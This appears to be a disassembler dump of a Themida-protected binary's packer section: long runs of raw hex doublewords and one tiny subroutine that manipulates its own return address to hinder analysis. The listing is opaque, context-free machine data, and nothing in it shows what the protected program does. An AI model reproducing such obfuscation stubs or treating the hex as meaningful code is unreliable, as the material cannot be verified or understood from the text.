		dd 4468906h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	13C35040h, 0C5823FF8h, 664C5818h, 0B0BBE381h, 0C2BB5250h
		dd 5F42DE5Eh, 29243489h, 1015B585h, 65B5FF06h, 6A0613C2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 993C355h,	0A30067D6h, 89F92BE5h, 10191D95h
		dd 54FB6806h, 0BF66D1CFh, 48165EFh, 4FAF0424h, 0DE8B662Eh
		dd 0C26D858Dh, 6A0613h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 9FF579C3h, 0A5B58957h, 5F061005h
		dd 9088BF66h, 10E850h, 862C0000h, 0AC888682h, 52735C8Ch
		dd 5118F04h, 11E9EC5Bh,	75000000h, 0E4490693h, 25F7E0D5h
		dd 6C98F7FDh, 1E5BDF95h, 2404895Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0E5C35545h,	68AA81EEh, 9589C0F4h
		dd 6101FA9h, 4860Fh, 0BF660000h, 95FFCFB9h, 61005D5h, 0E9DE8B66h
		dd 13h,	7B10B9D1h, 8F10ED05h, 0C9DB116Dh, 0B3CA29B0h, 6117B559h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 46C35141h
		dd 0BD8BC0F9h, 6102ACDh, 22C185C7h, 30610h, 0BD8B0000h
		dd 6101DD1h, 0D939E781h, 0BD831D9Ah, 613C26Dh, 1A840F00h
		dd 0F8000000h, 2FE9h, 9D016000h, 6101BE1h, 68B0Fh, 9D8B0000h
		dd 61013BDh
		dd 0C305061h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0BFDE8B66h, 320BC985h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 65C35242h, 22C1BD83h, 0F030610h
		dd 3C885h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1904h, 0C3514100h, 8C7609F3h, 0BD830AEEh, 613C26Dh
		dd 9A840F00h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0D34EC353h,	88D9D89h
		dd 0B5FF0610h, 613C26Dh, 17059D8Bh, 95FF0610h, 6102FA5h
		dd 0C261B58Bh, 6A0613h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0CFA2ADC3h, 5026E484h, 81666029h
		dd 0F8281C0h, 488h, 70B96600h, 95896153h, 61001E9h, 106C7h
		dd 8B660001h, 11E850DAh, 95000000h, 8100951Fh, 0BF4DB9C4h
		dd 2A726C9Fh, 86F04F6Ch, 6850Fh, 52500000h, 585A310Fh
		dd 2434895Bh, 1705BD8Bh, 0B5FF0610h, 613C26Dh, 208DBD89h
		dd 95FF0610h, 6101225h,	7BDB8166h, 61B58B00h, 660613C2h
		dd 0AA40EB81h, 21D1858Bh, 2B70610h, 0C48689h, 5EBB0000h
		dd 8B723D8Ch, 1009F595h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0F1C1FFC7h, 72CF810Eh
		dd 83548487h, 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0B7CA75C3h, 20508926h, 1B899D8Bh
		dd 8D890610h, 6103169h,	0D7C2858Dh, 8B660613h, 0B88689FEh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 8E62C356h, 0FDB44C9Dh,	8BBF8B30h
		dd 1023E19Dh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 6AD7C357h, 9EB87DF6h
		dd 6509D07Dh, 2935BD89h, 0B5FF0610h, 613C26Dh, 14E9h, 0F926AF00h
		dd 0E7F8ABE0h, 0D9F8DDF3h, 0BD9F56AEh, 0C2D31900h, 9595FFF8h
		dd 0E9061004h, 5, 0DD1F8D71h, 5E9960Ch,	56000000h, 0A7C6B309h
		dd 0E9CDBB50h, 6A965690h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 6887C352h, 0BF0EF22Bh
		dd 0FD8A596h, 687h, 0E1B58900h,	8B061007h, 1028459Dh, 6DB5FF06h
		dd 6A0613C2h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8B37C350h, 1022759Dh, 39958906h
		dd 0FF061011h, 10162D95h, 0BD9D8906h, 83061027h, 101351BDh
		dd 840F0006h, 4Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 63C35545h, 1C10042Dh,	0FC1B70Fh, 5096F8BFh
		dd 0AE8h, 14963C00h, 0FE0E2389h, 0E9016B9Eh, 0Bh, 5FF120F9h
		dd 277B3A09h, 5F7C9B86h, 19953196h, 0FF061008h,	13C26DB5h
		dd 0F1958906h, 0FF06101Eh, 100C1995h, 0CE906h, 3F0C0000h
		dd 88482A76h, 0A956E02Eh, 0B5FF1DB1h, 613C26Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EFC35646h, 0E05416AAh
		dd 47F2DA7Ch, 1CCD8D89h, 95FF0610h, 6101621h, 9E8h, 18E62900h
		dd 0FCE8C9C3h, 0B70F95CDh, 0BD835BF9h, 6100F89h, 62840F02h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 1C9C353h, 100901B5h, 0C5858B06h
		dd 31061010h, 102829BDh, 0C606h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 34C35545h, 115C13Bh, 60AE6675h
		dd 2E558589h, 9D8B0610h, 610096Dh, 2585C761h, 6102Ah, 8B000000h
		dd 101EE9BDh, 0F3C1E906h, 0C18BFFFFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0FAC35242h,	8E6E26CAh, 2A199D03h
		dd 858D0610h, 61013B9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0A7C35545h, 9A254204h, 2EDD8529h, 0F500610h
		dd 481h, 0B4BF6600h, 2404895Eh,	0E47961BFh, 6A006A2Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0F4CBC351h, 0BA1B185h, 100C6DBDh,	0E9BD8B06h
		dd 6A061000h, 0A19D8B00h, 8D061016h, 14609D85h,	0DE8B6606h
		dd 0E905C083h, 8, 1F6DC559h, 543B39FDh,	0F208BB66h, 4880F90h
		dd 50000000h, 505FD98Bh, 0AFB3BB66h, 5850F90h, 66000000h
		dd 377EDB81h, 0B61B589h, 6A0610h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 9EC35040h, 0D0C38166h, 6A006A38h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 871AC352h, 9D7A02A8h, 1D1995FFh, 8D090610h
		dd 6102D59h, 0AFD88D8Dh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 8BAD16C3h, 0ED5E811Ah
		dd 0BF261D9Bh, 1D7B2107h, 0F88BD1FFh, 0E54FBF66h, 2209BD83h
		dd 0F010610h, 4F85h, 830F00h, 6A000000h, 0E9B52902h, 50061022h
		dd 48926B3h, 0FAB70F24h, 49595FFh, 6A0610h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7F84BC3h
		dd 642B7AE8h, 605121ADh, 0E6C8A2BBh, 59BD0132h,	6106102Dh
		dd 0EACE9h, 0E800h, 815D0000h, 1460A7EDh, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 2A94970Ch, 848EABBEh, 9D8BEB75h, 6100B99h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E7C35040h, 858DF3CFh
		dd 61399B6h, 90DF8B66h,	0B840Fh, 6E90000h, 0CF000000h
		dd 7187E9FDh, 800F502Ah, 5, 989BC7BFh, 6A9007h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 758E8AC3h, 0C1B25C3Dh, 35CF812Eh, 6424352Bh,	35FFh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 7A67A0C3h, 1C8C0F00h, 0E8000000h,	10h, 0E5702604h
		dd 616961DAh, 59CFCD5Eh, 6AE916C9h, 1191BD89h, 645B0610h
		dd 2589h, 9D0B0000h, 6100B3Dh, 10E9h, 0CA51F300h, 0FC85C14Bh
		dd 0F547EC78h, 7EB3A19Dh, 1985FF9Bh, 0F061014h,	0FF6ADFBFh
		dd 15C9BD89h, 0B5FF0610h, 6101211h, 0FE9h, 33117500h, 0EE73B898h
		dd 7763D9E7h, 3AE1C61h,	61595FFh, 0ECE90610h, 89000000h
		dd 102D45B5h, 8D8B6006h, 6100E11h, 0A722D181h, 0B0610280h
		dd 95BD8B00h, 0E6061021h, 0E433B770h, 299D3171h, 3C06100Ah
		dd 0BC830F61h, 0B000000h, 1001FDBDh, 0C8B60F06h, 1A9DBD8Bh
		dd 6BA0610h, 89000000h,	101C0D9Dh, 81C18B06h, 67A115D3h
		dd 4E8C11Bh, 0A5C18160h, 0F07FC62h, 6661D1B7h, 9D8BE2F7h
		dd 6100C71h, 0D18BC82Bh, 0A2D9D33h, 0D88A0610h,	13E9h
		dd 319D0B00h, 60061005h, 0B7F08166h, 598D8B8Fh,	61061014h
		dd 2D89858Bh, 0BB660610h, 0C0839B93h, 0C083F507h, 0A9B58900h
		dd 3B06102Eh, 11830FD0h, 8B000000h, 10238D9Dh, 35E906h
		dd 9D8B0000h, 6102181h,	5298D8Bh, 9D8B0610h, 6100045h
		dd 0F01E183h, 1A84h, 0A583FC00h, 6100529h, 0D5BB66FEh
		dd 89958991h, 0F06102Dh, 0E9DEBFh, 8D000000h, 13F3BDB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0CCEFA66Fh, 3C3737B8h, 0FF5AC78h, 6AFEBFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 47C35343h
		dd 0B686683Ch, 66F47D9Ah, 5220E781h, 5AC78166h,	0C995FF04h
		dd 8B061031h, 102AE19Dh, 8BCB906h, 0BF0F0000h, 0FCE183D8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 57C35343h
		dd 0D27244AEh, 89AD435Bh, 1027F5B5h, 9D0BFC06h,	6100A75h
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0EE180B0Ah, 50CC87BEh, 8B661E5Fh
		dd 358D89DEh, 2B06101Bh, 50006AD2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 67024F2Eh, 0ADFFB70Fh
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0FA05C351h
		dd 8AA06C15h, 0EB8166FEh, 0BF0F33C1h, 880DDEh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0CB7942C3h, 265CF1DFh, 8BF91A58h, 1009F595h,	8C0F06h
		dd 8B000000h, 1023198Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0B4766111h, 8B506AEFh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 16959D8Bh
		dd 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 46AE49C3h, 4D103B85h, 11E18D29h, 0BD830610h
		dd 6101E29h, 3E840F00h,	0B8000000h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_59192B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59192B	proc near		; CODE XREF: Themida_:00591923p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_59192B	endp

; ---------------------------------------------------------------------------
		db 17h
		dd 0D3AA5AEDh, 0AF8ACF81h, 8D8D3F5Ch, 6104E85h,	1EC38166h
		dd 89E1FFF4h, 100EDD95h, 0C1BD8306h, 61022h, 4CD840Fh
		dd 0BD830000h, 61022C1h, 0DB840F01h, 6A000004h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 92E5C351h, 1F5F971Dh, 0E94F29FFh, 14h, 446C39F4h, 70DD7B08h
		dd 0D3405F32h, 0D17753DBh, 51467290h, 0FE9h, 12D58E00h
		dd 50B68C3Eh, 0AC38319h, 4AF45A2Fh, 22C1BD83h, 0F030610h
		dd 44786h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 1E419516h, 8B205336h, 8589994Fh
		dd 61016A9h, 52006A60h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 7A298084h, 99D2350h, 5B06102Eh, 80D98C66h
		dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0C0CFBEC3h, 6653B8B5h, 5B3E8CBFh,	840FC90Ah
		dd 145h, 93DBD8Bh, 0DE90610h, 5D000000h, 0E254889Eh, 21751A97h
		dd 7AB3FD49h, 2185858Bh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 3870C3C3h, 60B10229h
		dd 0DE960h, 0BD310000h,	9B2F7172h, 0E2B1F457h, 61541512h
		dd 0FD853361h, 6A061011h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 5F82C351h, 59E1C850h
		dd 0C53FB1DBh, 16959D8Bh, 0F900610h, 0A87h, 48D0F00h, 66000000h
		dd 50440CBBh, 140F1BBFh, 0BD299076h, 610233Dh, 0CE9006Ah
		dd 0FD000000h, 9EB293A1h, 0DB0183F7h, 68C60D59h, 0F4C4D6Ch
		dd 0C8C0Fh, 880F0000h, 6, 8B0Fh, 34810000h, 534E9324h
		dd 55006A0Fh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D5691D84h, 8C8F4953h, 0D595FFB1h, 0E9061005h
		dd 7, 0A5DD8EA2h, 89488ADDh, 13C26D85h,	0E9DA8B06h, 7
		dd 4F85521Ah, 0E94AD773h, 211h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0C5C35040h,	4396E534h, 65858BF9h
		dd 8B0613C2h, 102D19BDh, 1800C706h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 5FCBC357h, 0D1E88423h, 2CCE7B83h, 8BD8BF0Fh,	1027F5BDh
		dd 0BABF6606h, 69B58BF8h, 0E90613C2h, 14h, 5AED1702h, 0AA65D3AAh
		dd 0DAB04454h, 873DAE4Eh, 0ADEE1945h, 0A2DCBB66h, 0E25858Bh
		dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 35FA25C3h, 825E818h, 8166EE72h, 892A3BEFh
		dd 8E806h, 0D5FD0000h, 0BD1B2B0Fh, 18BB66A4h, 5F309024h
		dd 2185858Bh, 10E80610h, 3C000000h, 2DD0C1FCh, 0DD8F00A3h
		dd 52FB89BCh, 0BF312C7Ch, 61DD658h, 446895Fh, 96DFB70Fh
		dd 9D0BBB51h, 505B4159h, 2AC38196h, 0FF28DFE5h,	13C265B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BC9C722h, 4E8DAh, 3FF0000h, 0F50001Fh
		dd 1B8Eh, 50525000h, 5A310F52h,	0E8310F58h, 9, 0D0CE97F6h
		dd 0CE3EC430h, 585A5FF9h, 424448Bh, 0BE860h, 0F0540000h
		dd 0A69ED355h, 0C3153BA8h, 0F525074h, 5F585A31h, 0BF008B61h
		dd 60D3D7DDh, 4244489h,	8AB55760h, 6A586158h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0F0DDC356h, 0F2BC1064h, 6610189h, 941BD29h, 858D0610h
		dd 613C26Dh, 5E8h, 916F9800h, 0D3817217h, 276C8B4Eh, 8B66905Bh
		dd 6A9050FAh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		db 44h,	24h
word_591D5A	dw 1504h		; DATA XREF: Themida_:0054C9EDo
		dd 47000000h, 516C357h,	2819BD33h, 95FF0610h, 61005D5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 63C35242h
		dd 9D8B61F1h, 61015A9h,	22C185C7h, 30610h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0C06826C3h, 3B0C8314h, 0B70FD88Ah, 6DBD83DEh, 613C2h
		dd 46840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 170424h, 56460000h, 63739BC3h, 15BD89D1h, 0E906102Ah
		dd 37h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 82C35141h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 0FC08B00h, 68Fh, 5BD8B00h, 66061017h, 0BD83DA8Bh, 61022C1h
		dd 850F03h, 6A000005h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F07BC355h,	67000B12h
		dd 0D614A51Ah, 201DB589h, 0BD830610h, 613C26Dh,	0C8840F00h
		dd 0BB000004h, 30C20F8Dh, 0C26DB5FFh, 8F0F0613h, 6, 0FDE9D381h
		dd 95FF1185h, 6102FA5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 7DC35747h, 7094B5C4h,	0BF66B2E3h, 0B58B43AFh
		dd 613C261h, 2795BD0Bh,	6C70610h, 10001h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 0FBC35242h, 0BBA8262Ch
		dd 0EB2D285Ah, 9D9D8B3Ch, 96061008h, 3CE2F0BFh,	5056501Ch
		dd 0D88B6652h, 14E9310Fh, 91000000h, 158DB7B7h,	62D885A5h
		dd 42112224h, 78C933F0h, 5A2B87B3h, 6A965B58h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 4B1FC356h, 0C61C3944h, 732E6D9Ah, 14E59D89h,	9D8B0610h
		dd 61013F1h, 0C26DB5FFh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0E9ADDCC3h, 13793A17h
		dd 8A0Fh, 0E9570000h, 0Dh, 4E1176C4h, 0E2CD433Bh, 0A2640AD6h
		dd 95FF5FE0h, 6101225h,	0C261B58Bh, 6A0613h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0E02042C3h
		dd 0F165E48h, 1881h, 13E900h, 0D3A80000h, 87EFA7E3h, 0C681227h
		dd 0FCBB8AEEh, 9223ED56h, 0D1858B7Bh, 6A061021h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 40D2C356h, 4DB460Ch,	0C48689h, 95090000h, 6100B09h
		dd 9F5958Bh, 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0FF8542C3h, 80D8033Fh, 0C2839EB3h
		dd 13E904h, 4FCD0000h, 0AA95E9ABh, 0C78C25A4h, 0DDE4D183h
		dd 0EE305AB3h, 20508966h, 1BAFBB66h, 0D7C2858Dh, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 721172C3h, 9554E1DDh, 89FB40F7h, 10284D95h, 0B8868906h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 2038C355h, 51D0806h, 0BD23FB8Bh
		dd 6101F31h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0BA5B0BC3h, 0A32F49B3h, 66160F0Ah
		dd 0B5FFF98Bh, 613C26Dh, 0DEDBD8Bh, 95FF0610h, 6100495h
		dd 1F3D8D89h, 0E8500610h, 0Eh, 0E01A88B4h, 0B0F55082h
		dd 3B38F2A5h, 0BF669E85h, 895B08D8h, 6E92434h, 0B1000000h
		dd 6B4E41E5h, 0C19D0391h, 0FF061016h, 13C26DB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0D300FD4h, 5DE943B7h, 6E8h, 0B4753F00h, 0B32C96E4h
		dd 95FF5FFCh, 610162Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0A0C35747h, 9D2B62FAh, 6100935h, 56DB8166h
		dd 51BD83DCh, 61013h, 3E840Fh, 81660000h, 50A57FD3h, 0FE8h
		dd 387A2F00h, 547BCF3h,	0BAF48AF1h, 0CF297F76h,	0BFE7BF66h
		dd 2434895Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	17C35747h, 0C26DB5FFh, 6A0613h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0E58AD8C3h
		dd 0D4193BACh, 60CB2B9Fh, 14E8h, 52D21300h, 0FB4ED10Dh
		dd 0E1BDC699h, 5BB830B4h, 24273911h, 7E811h, 45930000h
		dd 0CE87A01Dh, 0F85F5EC0h, 1995FF61h, 0F06100Ch, 148Ah
		dd 0BD896000h, 61006F5h, 7E9h, 9DC34C00h, 36918C6Fh, 8E861h
		dd 5E1D0000h, 28A48F51h, 0FA8BA147h, 6DB5FF5Fh,	6A0613C2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 15CC352h,	0F33FAFFEh, 0F81BC95h, 0B70FF8B7h
		dd 2195FFFBh, 6A061016h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 8983C352h, 9D8B69B0h
		dd 6100FB5h, 0F89BD83h,	0F020610h, 6284h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 5A1909CCh, 8B6B043Eh, 1010C585h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 53946ECCh
		dd 0BE9101Eh, 0F2000000h, 0CA50F18Bh, 34097184h, 0C6FBC9h
		dd 1DBD8B00h, 0C7061013h, 102A2585h, 6,	919D8B00h, 0E9061013h
		dd 0FFFFF29Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0BCC35545h, 833D92C5h, 5DE0FB87h, 89C18B86h, 100C29B5h
		dd 0B9858D06h, 2B061013h, 102DBDBDh, 8B509006h,	816690FBh
		dd 6AF218DBh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 8EADAB33h, 0CDC98ED6h, 1D858980h
		dd 50061019h, 1659D8Bh,	6A5F0610h, 0B5896000h, 61016DDh
		dd 0AAD9D33h, 8D610610h, 14716885h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 89F9FA91h
		dd 101DFD8Dh, 5C08306h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 70C35141h, 0D1BD0B4Eh, 0B306100Dh, 4895066h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 85B61DCh, 33A58FD8h, 1015919Dh, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 74F7C353h, 14BAA2C6h, 9D8BD0FDh, 61030A5h
		dd 0B0BB006Ah, 0FF3DB34Eh, 101D1995h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 0E9B04A92h, 0Fh, 0B9F7247Dh,	9AC3134Eh, 35051338h, 8D77FE19h
		dd 13AFD88Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0B9C348CBh, 1A7B6F82h, 0EDBF66D1h
		dd 0CD9589CBh, 0FF06102Eh, 1A870FD1h, 60000000h, 12E9F8h
		dd 7CAA0000h, 0CFB24AC4h, 9663C294h, 8E795FE1h,	91EBF02Ah
		dd 9BD8361h, 1061022h, 75850Fh
		dd 0B5290000h, 6102275h, 6A026Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 152623C3h, 0D2E35080h
		dd 0D7816682h, 8166C4F5h, 509139CBh, 2870Fh, 4B70000h
		dd 0FF240489h, 10049595h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0D8094D0Bh
		dd 9E8h, 0FE4DBE00h, 851C6643h,	0E95FB529h, 0D5Fh, 0E8h
		dd 0ED815D00h, 6147172h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 0EC35646h, 14E912FDh,	0CD000000h, 102624E6h
		dd 6692444Eh, 9A4ECE8Dh, 9AD28B65h, 89D2BDD1h, 100B61B5h
		dd 0B6858D06h, 6A061399h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 665EC355h, 504630BFh
		dd 0DCA0BB51h, 895F437Ch, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 9D03EEC3h, 6100715h
		dd 0D5BD0156h, 5B06101Eh, 35FF64h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F44C357h, 8E0FDFBFh, 8, 0A5B58950h,	5F06101Eh, 258964h
		dd 60000000h, 61D58AF9h, 141985FFh, 6A0610h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 6AF55AC3h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0FBFD4112h, 0C37D23A6h, 0F2BF665Ch, 0EDB5FFC0h
		dd 3061011h, 1031699Dh,	1595FF06h, 0E9061006h, 11Dh, 0B0DD8Ah
		dd 11860Fh, 0CE90000h, 5A000000h, 3E48C00Ch, 371F276Ah
		dd 0E62FB814h, 0CBB6670h, 0F71E41Ah, 613CFFB7h,	0EF830Fh
		dd 7E80000h, 85000000h,	4AD7734Fh, 8166D243h, 5F4DD5DFh
		dd 8BC8B60Fh, 102395BDh, 6BA06h, 95010000h, 6102105h, 8166C18Bh
		dd 0F89960DFh, 2B04E8C1h, 100A619Dh, 0E2F76606h, 0C82BDE8Ah
		dd 9E9h, 43ECF400h, 88E8058Ch, 0D18BEC4Eh, 0E69B589h, 0EE90610h
		dd 0F000000h, 885h, 2820F00h, 8B000000h, 5858BD8h, 0F061001h
		dd 884h, 95895100h, 610004Dh, 7C0835Bh,	0E359D8Bh, 0C0830610h
		dd 5654BF00h, 0D03B22D5h, 13830Fh, 0E9F80000h, 55h, 8A24BB56h
		dd 295B334Ch, 10045DB5h, 18D8B06h, 0F061028h, 386h, 0BCE78000h
		dd 0F01E183h, 3084h, 62BB6600h,	1A5837Ch, 0FE061028h, 21518531h
		dd 95890610h, 6100105h,	0CE8h, 54E63D00h, 0E2D64AB0h, 89E84C91h
		dd 5FFA8ABFh, 0E9h, 0A8B58D00h,	6A0613FEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 5E3AC350h
		dd 6A0960D0h, 9D895300h, 6102005h, 0C995FF5Fh, 60061031h
		dd 7EDFA8B8h, 62B96174h, 8B000009h, 1012C99Dh, 0FCE18306h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A6C35747h
		dd 4A36F75Bh, 895F57FCh, 101B899Dh, 5E906h, 693D0000h
		dd 0FC17D535h, 35BD8B52h, 5F06102Fh, 9509C02Bh,	6102FA9h
		dd 11E8D22Bh, 36000000h, 0E03115F1h, 23319673h,	337B3676h
		dd 7C1DA9EAh, 0F35DBF66h, 0C233AD5Fh, 0D003E8D1h, 7504E983h
		dd 0D8D780F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0B1C35747h, 664CA9DBh, 1369EB81h, 0EE8h, 0C6FDDA00h
